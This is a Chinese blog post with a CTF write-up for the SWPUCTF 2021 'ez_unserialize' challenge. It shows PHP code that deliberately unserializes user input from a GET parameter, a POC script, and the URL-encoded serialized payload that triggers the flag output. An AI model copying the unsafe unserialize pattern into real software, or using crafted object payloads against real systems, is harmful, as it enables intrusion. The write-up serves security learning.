PHP反序列化

最新推荐文章于 2024-09-27 10:10:24 发布

cl1mb3r

最新推荐文章于 2024-09-27 10:10:24 发布

阅读量227

点赞数

文章标签： php 开发语言

本文链接：https://blog.csdn.net/cxiaodi/article/details/131154185

版权

[SWPUCTF 2021 新生赛]ez_unserialize

题目代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

解题思路

分析代码可知，需要将构造函数中的变量进行修改，符合if条件之后可以得到flag

POC

<?php

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$c=new wllm();
$c=serialize($c);
echo urlencode($c);


#O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D